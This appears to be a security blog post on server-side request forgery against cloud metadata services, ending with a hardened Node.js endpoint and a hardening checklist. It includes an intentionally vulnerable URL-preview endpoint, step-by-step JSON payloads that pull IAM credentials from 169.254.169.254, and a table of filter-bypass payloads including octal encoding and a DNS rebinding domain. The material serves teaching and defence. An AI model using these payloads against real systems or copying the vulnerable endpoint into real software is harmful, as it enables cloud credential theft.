Advanced Cloud SSRF: How I Exploited Metadata Services in Production Environment (and How to Mitigate It)
Security vulnerabilities in cloud ecosystems often hide behind legitimate functionalities. Among these, Server-Side Request Forgery (SSRF) remains one of the most devastating flaws when deployed in modern cloud infrastructure like AWS, Google Cloud, or DigitalOcean.
In this comprehensive guide, I will share a real-world technical deep-dive based on a practical production configuration. We will explore how an attacker can leverage a seemingly harmless URL preview feature to query internal Metadata Services (IMDS), extract sensitive cloud credentials, and compromise an entire cluster. Finally, we will write a secure, production-ready implementation to block this vector permanently.
The Root Cause: Why Cloud SSRF is Different
In a traditional infrastructure, an SSRF vulnerability typically allows an attacker to scan internal ports (like localhost:8080) or access internal administration panels. However, when an application is hosted on cloud instances, the stakes are exponentially higher.
Cloud providers expose an internal HTTP endpoint known as the Instance Metadata Service (IMDS). This service allows running instances to query configuration data, networking details, and—most importantly—temporary IAM credentials assigned to the instance profile.
The Famous Target: IMDSv1 vs. IMDSv2
The metadata services are always hosted on a non-routable link-local IP address: 169.254.169.254.
- IMDSv1 (Request/Response): Vulnerable by design to basic SSRF because it only requires a simple HTTP
GETrequest to extract keys. - IMDSv2 (Token-Based): Requires a
PUTrequest to generate a session token first, making basic SSRF exploitation significantly harder but not entirely impossible if the application forwards custom headers or allows method manipulation.
Scenario: The Vulnerable Microservice Architecture
Let's look at a common production setup. Imagine an API built to generate automated screenshots or crawl website titles for metadata parsing. The feature accepts a user-supplied URL, executes an internal request using a backend client, and parses the response.
The Flawed Implementation (Node.js / Axios)
const express = require('express');
const axios = require('axios');
const app = express();
app.use(express.json());
// Vulnerable URL Preview Endpoint
app.post('/api/v1/preview', async (req, res) => {
const { targetUrl } = req.body;
if (!targetUrl) {
return res.status(400).json({ error: 'URL is required' });
}
try {
// The server fetches the URL directly without validation
const response = await axios.get(targetUrl, { timeout: 5000 });
return res.status(200).json({
status: 'success',
contentLength: response.data.length,
htmlPreview: response.data.substring(0, 500) // Returning partial content
});
} catch (error) {
return res.status(500).json({ error: 'Failed to fetch the URL' });
}
});
app.listen(3000, () => console.log('Server running on port 3000'));
Why this code is dangerous:
The developer trusted the user input implicitly. The application executes the network request directly from the internal server container, meaning the request carries the network identity and privileges of the underlying cloud host machine.
Step-by-Step Exploitation: From URL Entry to IAM Credentials
Step 1: Enumerating the Link-Local Address
An attacker sends a payload pointing straight to the internal cloud routing loop:
{
"targetUrl": "http://169.254.169.254/latest/meta-data/"
}
The Server Response:
{
"status": "success",
"contentLength": 240,
"htmlPreview": "ami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping/\nhostname\niam/\ninstance-action\ninstance-id\ninstance-type\nlocal-ipv4\nmac\nmetrics/\nnetwork/\nplacement/\npublic-ipv4\nsecurity-groups"
}
The server just returned the directory structure of the cloud provider’s metadata server. The environment is confirmed to be running on an older metadata configuration (IMDSv1).
Step 2: Accessing the IAM Role Name
By appending /iam/security-credentials/ to the path, the attacker can find the exact name of the IAM role attached to the server instance.
{
"targetUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
The Server Response:
{
"status": "success",
"contentLength": 32,
"htmlPreview": "production-web-app-role"
}
Step 3: Exfiltrating the Security Tokens
Now, the attacker queries the specific role name to extract the temporary access keys:
{
"targetUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/production-web-app-role"
}
The Server Response:
{
"status": "success",
"contentLength": 850,
"htmlPreview": "{\n \"Code\" : \"Success\",\n \"LastUpdated\" : \"2026-06-30T10:00:00Z\",\n \"Type\" : \"AWS-HMAC\",\n \"AccessKeyId\" : \"ASIAXXXXXXXXXXXXXXXX\",\n \"SecretAccessKey\" : \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n \"Token\" : \"IQoJb3JpZ2luX2VjE...[TRUNCATED]...\",\n \"Expiration\" : \"2026-06-30T16:00:00Z\"\n}"
}
Within seconds, the attacker has obtained a valid AccessKeyId, SecretAccessKey, and SessionToken. They can now configure these credentials locally using the command-line interface (CLI) and access the cloud control plane directly.
Defeating Advanced Bypasses (DNS Rebinding & Encoded Vectors)
Many developers attempt to fix this issue by creating a simple blacklist (e.g., checking if the URL string contains 169.254.169.254 or 127.0.0.1). However, simple string matching is trivial to bypass.
Attack Vectors to Keep in Mind:
- Decimal/Hexadecimal Encoding: Converting the IP address to a different format. For instance,
http://2852039166/resolves directly to169.254.169.254. - DNS Rebinding: The attacker registers a domain (e.g.,
malicious.com) and sets its DNS TTL to 0. When the server validates the URL, the DNS resolves to a safe public IP (like8.8.8.8). But when the server executes the actualaxios.get()call a millisecond later, the domain resolves to169.254.169.254.
| Payload Type | Example Format | Purpose |
|---|---|---|
| Octal Encoding | http://0251.0376.0251.0376/ |
Bypasses simple regex string validation filters. |
| Alternative Loopback | http://localhost/ or http://127.0.0.1 |
Accesses internal server-side services and administrative ports. |
| DNS Rebinding Domain | http://rebind.attacker.com |
Dynamically switches IPs between validation and execution phases. |
The Definite Solution: Implementing Secure Network Validation
To prevent SSRF effectively, we must implement a whitelist-based network validation layer that intercepts the request at the DNS resolution phase before any HTTP request occurs.
Production-Ready Secure Code Pattern (Node.js)
const express = require('express');
const axios = require('axios');
const dns = require('dns').promises;
const app = express();
app.use(express.json());
// Helper function to verify if an IP address is private or link-local
function isPrivateIp(ipAddress) {
const privateRanges = [
/^127\./, // Loopback
/^169\.254\./, // Link-Local (Cloud Metadata)
/^10\./, // Private Class A
/^172\.(1[6-9]|2[0-9]|3[0-1])\./, // Private Class B
/^192\.168\./ // Private Class C
];
return privateRanges.some(regex => regex.test(ipAddress));
}
app.post('/api/v1/secure-preview', async (req, res) => {
const { targetUrl } = req.body;
try {
const parsedUrl = new URL(targetUrl);
const hostname = parsedUrl.hostname;
// Resolve DNS records explicitly to verify the destination IP
const addresses = await dns.resolve4(hostname);
if (addresses.length === 0) {
return res.status(400).json({ error: 'Invalid domain name' });
}
const targetIp = addresses[0];
// Strict Enforcement: Block internal routing targets
if (isPrivateIp(targetIp)) {
console.warn(`[Security Warning] Blocked SSRF attempt targeting IP: ${targetIp}`);
return res.status(403).json({ error: 'Access to internal infrastructure is prohibited' });
}
// Pin the request directly to the validated IP to defeat DNS Rebinding
const secureRequestUrl = `${parsedUrl.protocol}//${targetIp}${parsedUrl.pathname}${parsedUrl.search}`;
const response = await axios.get(secureRequestUrl, {
headers: { 'Host': hostname }, // Preserve original hostname header
timeout: 3000,
maxRedirects: 0 // Prevent redirect-based loops
});
return res.status(200).json({
status: 'success',
contentLength: response.data.length
});
} catch (error) {
return res.status(500).json({ error: 'Secure fetching policy block or network timeout' });
}
});
app.listen(3000, () => console.log('Secure server running on port 3000'));
Architectural Hardening Checklist
Securing code logic is just one layer of defense. To achieve a zero-trust model inside your cloud architecture, make sure to implement the following controls:
- Enforce IMDSv2: Transition all cloud workloads away from IMDSv1. Set the token response hop limit to 1 inside your container environments to prevent network requests from jumping host bridges.
- Network Segmentation: Use VPC firewalls or security groups to explicitly block egress traffic from your application containers to the
169.254.169.254address unless absolutely necessary. - Principle of Least Privilege: Ensure the IAM role assigned to your server instance profile contains only the minimum permissions required for its basic operations. Never attach administrative policies to web-facing worker nodes.
By adhering to strict DNS-level verification and ensuring your cloud metadata service paths are locked down, you can completely isolate web assets from internal cloud infrastructure, keeping your organization safe from high-impact SSRF exploitation.